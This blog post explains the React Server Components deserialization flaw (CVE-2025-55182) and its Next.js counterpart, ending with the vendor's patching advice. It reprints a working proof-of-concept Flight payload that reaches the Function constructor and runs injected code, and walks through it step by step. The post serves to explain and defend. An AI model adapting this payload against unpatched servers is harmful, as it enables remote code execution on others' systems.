On December 3, 2025, the Next.js team published a security advisory that drew attention to a vulnerability affecting React Server Components (RSC) and their usage within Next.js App Router. Shortly after the disclosure, reports surfaced of affected servers being misused for unauthorized activities, including malware execution and excessive resource consumption.
Before discussing the vulnerability itself, it is helpful to review the core concepts involved.
React Server Components
React Server Components (RSC) are components that render on the server or the client, depending on their role.
In traditional React applications:
- The server returns only HTML or JSON.
- The entire JavaScript bundle (with component logic) runs in the browser.
- This naturally increases the bundle size of JS further leading to increased load times and client-side processing.
In RSC
- Some components run in the browser, while some in the server.
// Server Component
export default async function UserProfile() {
const user = await fetchUserFromDB();
return <h1>{user.name}</h1>;
}// Client Component
"use client";
export default function Button() {
return <button onClick={() => alert("Clicked")}>Click</button>;
}- Only the rendered output of server components is sent to the browser.
- This reduces the amount of JavaScript shipped to the client and hence the size of the JS bundle making the website load faster.
Flight Protocol
For an RSC to work as intended, the client and server has to communicate. This is facilitated by the flight payload that transmits the data object to and fro the client and server.
The flight protocol works as follows:
- React serializes the component tree on the client side into a flight payload.
- The payload is transmitted to the server.
- The server deserializes the payload and executes the relevant component logic.
- The output is serialized and returned to the client
- The browser deserializes the response and renders the UI
Serialization is the process of converting a data structure such as a Javascript object or array into a format that can be easily stored - JSON, YAML are some of the common serialization formats [1]
The Vulnerability - CVE-2025-55182
The deserialization of flight payload that takes place in the server runs in the concept of trust boundary where the incoming payload is assumed to be valid and well-formed. Without strict validation, deserialization makes it possible for the attackers to reconstruct the structure, invoke constructors, prototypes that can change the implicit behaviour of the Javascript object in the server [2].
A specially crafted HTTP request can be used to send malicious keys into the payload. The polluted object is serialized and enters the server. When deserialized, the server executes the untrusted javascript code that may alter runtime behavior in unintended ways.Following the exploitation, attackers can run their own unauthorized commands on the server resulting in remote code execution(RCE).
For example, lets take this payload shared by Lachlan Davidson in his github:
const payload = {
'0': '$1',
'1': {
'status':'resolved_model',
'reason':0,
'_response':'$4',
'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then':'$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix':'console.log(7*7+1)//',
'_formData':{
'get':'$3:constructor:constructor'
},
'_chunks':'$2:_response:_chunks',
}
}Step 1: React Processes chunk 0 and references to object with ID 1
‘0’ : ‘$1’Step 2: React believes the parsed object is a promise and also the promise is already resolved.
'1': {
'Status':'resolved_model',Step 3: The response is mapped to object ID 4
'_response':'$4'Step 4: React treats this object as thenable and prepares to invoke then() handler
'then':'$2:then'This step is crucial because the react now transforms itself from data reconstruction to the execution flow. It treats object 2 as callable.
Step 5: Uses object 3 as the target function
'2': '$@3'Step 6: Understands object 3 is an array
'3': []Step 7: React reconstructs 4 believing it to be a Response/FormData
Step 8:
'_formData':{
'get':'$3:constructor:constructor'
}React resolves a constructor because, in javascript,
[] represents array
[].constructor -> constructor
Constructor.constructor -> function
This is the entry point of vulnerability as at this point, react has deserialized the reference to the global function constructor.
Step 9: The executable code lives in _prefix. React believes it is a harmless string used during response rendering. But this is a part of the generated executable code
'_prefix':'console.log(7*7+1)//'This is how RCE gets executed.
Impact on Next.js Application
Though CVE-2025-55182 is associated with React, the Next.js app router relies on the same RSC flight protocol that contains the vulnerability. As a result, Next.js applications using this architecture were also affected, leading to the assignment of CVE-2025-66478. Both vulnerabilities were assigned a Common Vulnerability Scoring System (CVSS) score of 10.0, indicating a critical severity level and the need for prompt remediation.
In its security advisory, the Next.js team recommended the following to reduce the risk of further exposure:
- Upgrade to the suitable patched Next.js version.
- Ensure all the dependencies align with the patched release.
- Redeploy the application after upgrading.
- Rotate the secrets used in the projects to avoid any mishaps that may arise from the leaked secrets.
Incidents like this highlight the importance of input validation and clearly defined trust boundaries in modern web frameworks. They also serve as reminders that complex systems evolve through continuous improvement.
"The best defense against security problems is to assume that mistakes will be made, and to design systems so that those mistakes cannot be catastrophic"
-- Butler Lampson
Enjoyed the read? Share it with a friend on LinkedIn or X. Got thoughts, feedback, or just want to say hello? Drop us a line at info@minsky.in. Want to connect with the author? Reach out to Jawahar — he'd love to hear from you!
